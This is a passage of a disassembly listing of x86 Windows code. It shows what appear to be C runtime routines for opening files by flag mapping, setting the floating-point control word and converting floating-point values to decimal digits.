; ---------------------------------------------------------------------------


loc_41E4F0:				; CODE XREF: sub_41E476+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_41E500
; ---------------------------------------------------------------------------


loc_41E4F9:				; CODE XREF: sub_41E476+54j
		mov	[ebp+var_C], 80000000h


loc_41E500:				; CODE XREF: sub_41E476+78j
					; sub_41E476+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_41E52E
		cmp	eax, 20h
		jz	short loc_41E525
		cmp	eax, 30h
		jz	short loc_41E51C
		cmp	eax, 40h
		jnz	short loc_41E4D2
		mov	[ebp+var_10], esi
		jmp	short loc_41E531
; ---------------------------------------------------------------------------


loc_41E51C:				; CODE XREF: sub_41E476+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_41E531
; ---------------------------------------------------------------------------


loc_41E525:				; CODE XREF: sub_41E476+95j
		mov	[ebp+var_10], 1
		jmp	short loc_41E531
; ---------------------------------------------------------------------------


loc_41E52E:				; CODE XREF: sub_41E476+90j
		mov	[ebp+var_10], ebx


loc_41E531:				; CODE XREF: sub_41E476+A4j
					; sub_41E476+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_41E57B
		jz	short loc_41E576
		cmp	ecx, ebx
		jz	short loc_41E576
		cmp	ecx, edi
		jz	short loc_41E56D
		cmp	ecx, 200h
		jz	short loc_41E594
		cmp	ecx, 300h
		jnz	loc_41E4D2
		mov	[ebp+var_8], 2
		jmp	short loc_41E5A4
; ---------------------------------------------------------------------------


loc_41E56D:				; CODE XREF: sub_41E476+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_41E5A4
; ---------------------------------------------------------------------------


loc_41E576:				; CODE XREF: sub_41E476+D0j
					; sub_41E476+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_41E5A4
; ---------------------------------------------------------------------------


loc_41E57B:				; CODE XREF: sub_41E476+CEj
		cmp	ecx, 500h
		jz	short loc_41E59D
		cmp	ecx, 600h
		jz	short loc_41E594
		cmp	ecx, edx
		jz	short loc_41E59D
		jmp	loc_41E4D2
; ---------------------------------------------------------------------------


loc_41E594:				; CODE XREF: sub_41E476+E0j
					; sub_41E476+113j
		mov	[ebp+var_8], 5
		jmp	short loc_41E5A4
; ---------------------------------------------------------------------------


loc_41E59D:				; CODE XREF: sub_41E476+10Bj
					; sub_41E476+117j
		mov	[ebp+var_8], 1


loc_41E5A4:				; CODE XREF: sub_41E476+F5j
					; sub_41E476+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_41E5C3
		mov	ecx, dword_51588C
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_41E5C3
		push	1
		pop	esi


loc_41E5C3:				; CODE XREF: sub_41E476+138j
					; sub_41E476+148j
		test	al, 40h
		jz	short loc_41E5D1
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_41E5D1:				; CODE XREF: sub_41E476+14Fj
		test	ah, 10h
		jz	short loc_41E5D8
		or	esi, edi


loc_41E5D8:				; CODE XREF: sub_41E476+15Ej
		test	al, 20h
		jz	short loc_41E5E4
		or	esi, 8000000h
		jmp	short loc_41E5EE
; ---------------------------------------------------------------------------


loc_41E5E4:				; CODE XREF: sub_41E476+164j
		test	al, 10h
		jz	short loc_41E5EE
		or	esi, 10000000h


loc_41E5EE:				; CODE XREF: sub_41E476+16Cj
					; sub_41E476+170j
		call	sub_41E25C
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_41E60F
		and	dword_515888, 0
		mov	dword_515884, 18h
		jmp	short loc_41E64D
; ---------------------------------------------------------------------------


loc_41E60F:				; CODE XREF: sub_41E476+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		nop
		call	near ptr 7C801A24h
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_41E640
		push	esi
		nop
		call	near ptr 7C810E51h
		test	eax, eax
		jnz	short loc_41E654
		push	esi
		nop
		call	near ptr 7C809B47h


loc_41E640:				; CODE XREF: sub_41E476+1B6j
		nop
		call	near ptr 7C910331h
		push	eax
		call	sub_41C91A
		pop	ecx


loc_41E64D:				; CODE XREF: sub_41E476+197j
		mov	eax, edi
		jmp	loc_41E72A
; ---------------------------------------------------------------------------


loc_41E654:				; CODE XREF: sub_41E476+1C1j
		cmp	eax, 2
		jnz	short loc_41E65F
		or	[ebp+var_1], 40h
		jmp	short loc_41E668
; ---------------------------------------------------------------------------


loc_41E65F:				; CODE XREF: sub_41E476+1E1j
		cmp	eax, 3
		jnz	short loc_41E668
		or	[ebp+var_1], 8


loc_41E668:				; CODE XREF: sub_41E476+1E7j
					; sub_41E476+1ECj
		push	esi
		push	ebx
		call	sub_41E2F1
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:516B80h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_41E711
		test	al, 80h
		jz	short loc_41E711
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_41E711
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_41BA39
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_41E6C6
		cmp	dword_515888, 83h
		jz	short loc_41E711
		jmp	short loc_41E705
; ---------------------------------------------------------------------------


loc_41E6C6:				; CODE XREF: sub_41E476+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41B65B
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41E6F3
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_41E6F3
		push	[ebp+var_10]
		push	ebx
		call	sub_41F038
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E705


loc_41E6F3:				; CODE XREF: sub_41E476+265j
					; sub_41E476+26Bj
		push	0
		push	0
		push	ebx
		call	sub_41BA39
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41E711


loc_41E705:				; CODE XREF: sub_41E476+24Ej
					; sub_41E476+27Bj
		push	ebx
		call	sub_41B397
		pop	ecx


loc_41E70C:				; CODE XREF: sub_41E476+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_41E72A
; ---------------------------------------------------------------------------


loc_41E711:				; CODE XREF: sub_41E476+221j
					; sub_41E476+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_41E728
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_41E728
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_41E728:				; CODE XREF: sub_41E476+29Fj
					; sub_41E476+2A5j
		mov	eax, ebx


loc_41E72A:				; CODE XREF: sub_41E476+1D9j
					; sub_41E476+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E476	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E72F	proc near		; CODE XREF: sub_41E764+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_41E77A
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_41E80C
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41E72F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E764	proc near		; CODE XREF: sub_41C466+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_41E72F
		pop	ecx
		pop	ecx
		retn
sub_41E764	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E77A	proc near		; CODE XREF: sub_41E72F+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_41E78B
		push	10h
		pop	eax


loc_41E78B:				; CODE XREF: sub_41E77A+Cj
		test	bl, 4
		jz	short loc_41E792
		or	al, 8


loc_41E792:				; CODE XREF: sub_41E77A+14j
		test	bl, 8
		jz	short loc_41E799
		or	al, 4


loc_41E799:				; CODE XREF: sub_41E77A+1Bj
		test	bl, 10h
		jz	short loc_41E7A0
		or	al, 2


loc_41E7A0:				; CODE XREF: sub_41E77A+22j
		test	bl, 20h
		jz	short loc_41E7A7
		or	al, 1


loc_41E7A7:				; CODE XREF: sub_41E77A+29j
		test	bl, 2
		jz	short loc_41E7B1
		or	eax, 80000h


loc_41E7B1:				; CODE XREF: sub_41E77A+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_41E7E9
		cmp	edx, 400h
		jz	short loc_41E7E6
		cmp	edx, 800h
		jz	short loc_41E7E2
		cmp	edx, esi
		jnz	short loc_41E7E9
		or	eax, edi
		jmp	short loc_41E7E9
; ---------------------------------------------------------------------------


loc_41E7E2:				; CODE XREF: sub_41E77A+5Ej
		or	eax, ebp
		jmp	short loc_41E7E9
; ---------------------------------------------------------------------------


loc_41E7E6:				; CODE XREF: sub_41E77A+56j
		or	ah, 1


loc_41E7E9:				; CODE XREF: sub_41E77A+4Ej
					; sub_41E77A+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_41E7F9
		cmp	ecx, ebp
		jnz	short loc_41E7FE
		or	eax, 10000h
		jmp	short loc_41E7FE
; ---------------------------------------------------------------------------


loc_41E7F9:				; CODE XREF: sub_41E77A+72j
		or	eax, 20000h


loc_41E7FE:				; CODE XREF: sub_41E77A+76j
					; sub_41E77A+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_41E80B
		or	eax, 40000h

locret_41E80B:				; CODE XREF: sub_41E77A+8Aj
		retn
sub_41E77A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E80C	proc near		; CODE XREF: sub_41E72F+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_41E81C
		push	1
		pop	eax


loc_41E81C:				; CODE XREF: sub_41E80C+Bj
		test	bl, 8
		jz	short loc_41E823
		or	al, 4


loc_41E823:				; CODE XREF: sub_41E80C+13j
		test	bl, 4
		jz	short loc_41E82A
		or	al, 8


loc_41E82A:				; CODE XREF: sub_41E80C+1Aj
		test	bl, 2
		jz	short loc_41E831
		or	al, 10h


loc_41E831:				; CODE XREF: sub_41E80C+21j
		test	bl, 1
		jz	short loc_41E838
		or	al, 20h


loc_41E838:				; CODE XREF: sub_41E80C+28j
		test	ebx, 80000h
		jz	short loc_41E842
		or	al, 2


loc_41E842:				; CODE XREF: sub_41E80C+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_41E86F
		cmp	ecx, 100h
		jz	short loc_41E86C
		cmp	ecx, esi
		jz	short loc_41E867
		cmp	ecx, edx
		jnz	short loc_41E86F
		or	ah, 0Ch
		jmp	short loc_41E86F
; ---------------------------------------------------------------------------


loc_41E867:				; CODE XREF: sub_41E80C+50j
		or	ah, 8
		jmp	short loc_41E86F
; ---------------------------------------------------------------------------


loc_41E86C:				; CODE XREF: sub_41E80C+4Cj
		or	ah, 4


loc_41E86F:				; CODE XREF: sub_41E80C+44j
					; sub_41E80C+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_41E885
		cmp	ecx, 10000h
		jnz	short loc_41E887
		or	eax, esi
		jmp	short loc_41E887
; ---------------------------------------------------------------------------


loc_41E885:				; CODE XREF: sub_41E80C+6Bj
		or	eax, edx


loc_41E887:				; CODE XREF: sub_41E80C+73j
					; sub_41E80C+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_41E894
		or	ah, 10h

locret_41E894:				; CODE XREF: sub_41E80C+83j
		retn
sub_41E80C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E895	proc near		; CODE XREF: sub_41E934+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_41E8DA
		inc	esi
		cmp	esi, 3
		jge	short loc_41E8D5
		lea	eax, [eax+esi*4]


loc_41E8C7:				; CODE XREF: sub_41E895+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_41E8DA
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_41E8C7


loc_41E8D5:				; CODE XREF: sub_41E895+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E8DA:				; CODE XREF: sub_41E895+27j
					; sub_41E895+35j
		xor	eax, eax
		pop	esi
		retn
sub_41E895	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E8DE	proc near		; CODE XREF: sub_41E934+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_41F17E
		add	esp, 0Ch
		dec	esi
		js	short loc_41E930
		lea	edi, [ebx+esi*4]


loc_41E917:				; CODE XREF: sub_41E8DE+50j
		test	eax, eax
		jz	short loc_41E930
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_41F17E
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_41E917


loc_41E930:				; CODE XREF: sub_41E8DE+34j
					; sub_41E8DE+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41E8DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E934	proc near		; CODE XREF: sub_41EA8F+81p
					; sub_41EA8F+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_41E998
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_41E895
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41E995
		push	edi
		push	[ebp+arg_0]
		call	sub_41E8DE
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_41E995:				; CODE XREF: sub_41E934+51j
		mov	eax, [ebp+arg_4]


loc_41E998:				; CODE XREF: sub_41E934+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_41E9B8
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_41E9B8:				; CODE XREF: sub_41E934+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E934	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E9C0	proc near		; CODE XREF: sub_41EA8F+75p
					; sub_41EA8F+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_41E9CE:				; CODE XREF: sub_41E9C0+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_41E9CE
		pop	esi
		retn
sub_41E9C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E9DB	proc near		; CODE XREF: sub_41EA8F+5Fp
					; sub_41EA8F+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41E9DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E9E7	proc near		; CODE XREF: sub_41EA8F+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_41E9ED:				; CODE XREF: sub_41E9E7+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_41E9FF
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_41E9ED
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41E9FF:				; CODE XREF: sub_41E9E7+9j
		xor	eax, eax
		retn
sub_41E9E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EA02	proc near		; CODE XREF: sub_41EA8F+C0p
					; sub_41EA8F+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_41EA38:				; CODE XREF: sub_41EA02+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_41EA38
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_41EA6A:				; CODE XREF: sub_41EA02+86j
		cmp	ebx, edi
		jl	short loc_41EA7D
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_41EA84
; ---------------------------------------------------------------------------


loc_41EA7D:				; CODE XREF: sub_41EA02+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_41EA84:				; CODE XREF: sub_41EA02+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_41EA6A
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EA02	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EA8F	proc near		; CODE XREF: sub_41EBFB+Dp
					; sub_41EC11+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_41EAFC
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_41E9E7
		test	eax, eax
		pop	ecx
		jnz	loc_41EBBB
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E9DB
		pop	ecx


loc_41EAF4:				; CODE XREF: sub_41EA8F+E4j
		push	2


loc_41EAF6:				; CODE XREF: sub_41EA8F+110j
		pop	eax
		jmp	loc_41EBBD
; ---------------------------------------------------------------------------


loc_41EAFC:				; CODE XREF: sub_41EA8F+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_41E9C0
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E934
		add	esp, 10h
		test	eax, eax
		jz	short loc_41EB1D
		inc	ebx


loc_41EB1D:				; CODE XREF: sub_41EA8F+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_41EB35
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E9DB
		pop	ecx
		jmp	short loc_41EB71
; ---------------------------------------------------------------------------


loc_41EB35:				; CODE XREF: sub_41EA8F+98j
		cmp	ebx, eax
		jg	short loc_41EB78
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E9C0
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_41EA02
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E934
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41EA02
		add	esp, 20h


loc_41EB71:				; CODE XREF: sub_41EA8F+A4j
		xor	esi, esi
		jmp	loc_41EAF4
; ---------------------------------------------------------------------------


loc_41EB78:				; CODE XREF: sub_41EA8F+A8j
		cmp	ebx, [edi]
		jl	short loc_41EBA4
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E9DB
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41EA02
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_41EAF6
; ---------------------------------------------------------------------------


loc_41EBA4:				; CODE XREF: sub_41EA8F+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_41EA02
		pop	ecx
		pop	ecx


loc_41EBBB:				; CODE XREF: sub_41EA8F+55j
		xor	eax, eax


loc_41EBBD:				; CODE XREF: sub_41EA8F+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_41EBEC
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_41EBF6
; ---------------------------------------------------------------------------


loc_41EBEC:				; CODE XREF: sub_41EA8F+14Ej
		cmp	edi, 20h
		jnz	short loc_41EBF6
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_41EBF6:				; CODE XREF: sub_41EA8F+15Bj
					; sub_41EA8F+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EA8F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EBFB	proc near		; CODE XREF: sub_41EC27+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43BF20
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41EA8F
		add	esp, 0Ch
		retn
sub_41EBFB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EC11	proc near		; CODE XREF: sub_41EC54+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43BF38
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41EA8F
		add	esp, 0Ch
		retn
sub_41EC11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EC27	proc near		; CODE XREF: sub_41C59F+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41F31F
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41EBFB
		add	esp, 24h
		leave
		retn
sub_41EC27	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EC54	proc near		; CODE XREF: sub_41C59F+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41F31F
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41EC11
		add	esp, 24h
		leave
		retn
sub_41EC54	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EC81	proc near		; CODE XREF: sub_41C5DD+65p
					; sub_41C6E1+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_41ECBE
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_41ECA4:				; CODE XREF: sub_41EC81+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_41ECB0
		movsx	edx, dl
		inc	ecx
		jmp	short loc_41ECB3
; ---------------------------------------------------------------------------


loc_41ECB0:				; CODE XREF: sub_41EC81+27j
		push	30h
		pop	edx


loc_41ECB3:				; CODE XREF: sub_41EC81+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_41ECA4
		mov	edx, [ebp+arg_8]


loc_41ECBE:				; CODE XREF: sub_41EC81+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_41ECD7
		cmp	byte ptr [ecx],	35h
		jl	short loc_41ECD7


loc_41ECCA:				; CODE XREF: sub_41EC81+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_41ECD5
		mov	byte ptr [eax],	30h
		jmp	short loc_41ECCA
; ---------------------------------------------------------------------------


loc_41ECD5:				; CODE XREF: sub_41EC81+4Dj
		inc	byte ptr [eax]


loc_41ECD7:				; CODE XREF: sub_41EC81+42j
					; sub_41EC81+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_41ECE1
		inc	dword ptr [edx+4]
		jmp	short loc_41ECF3
; ---------------------------------------------------------------------------


loc_41ECE1:				; CODE XREF: sub_41EC81+59j
		push	edi
		call	sub_417AF0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41D840
		add	esp, 10h


loc_41ECF3:				; CODE XREF: sub_41EC81+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41EC81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ECF8	proc near		; CODE XREF: sub_41C5DD+3Fp
					; sub_41C6E1+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
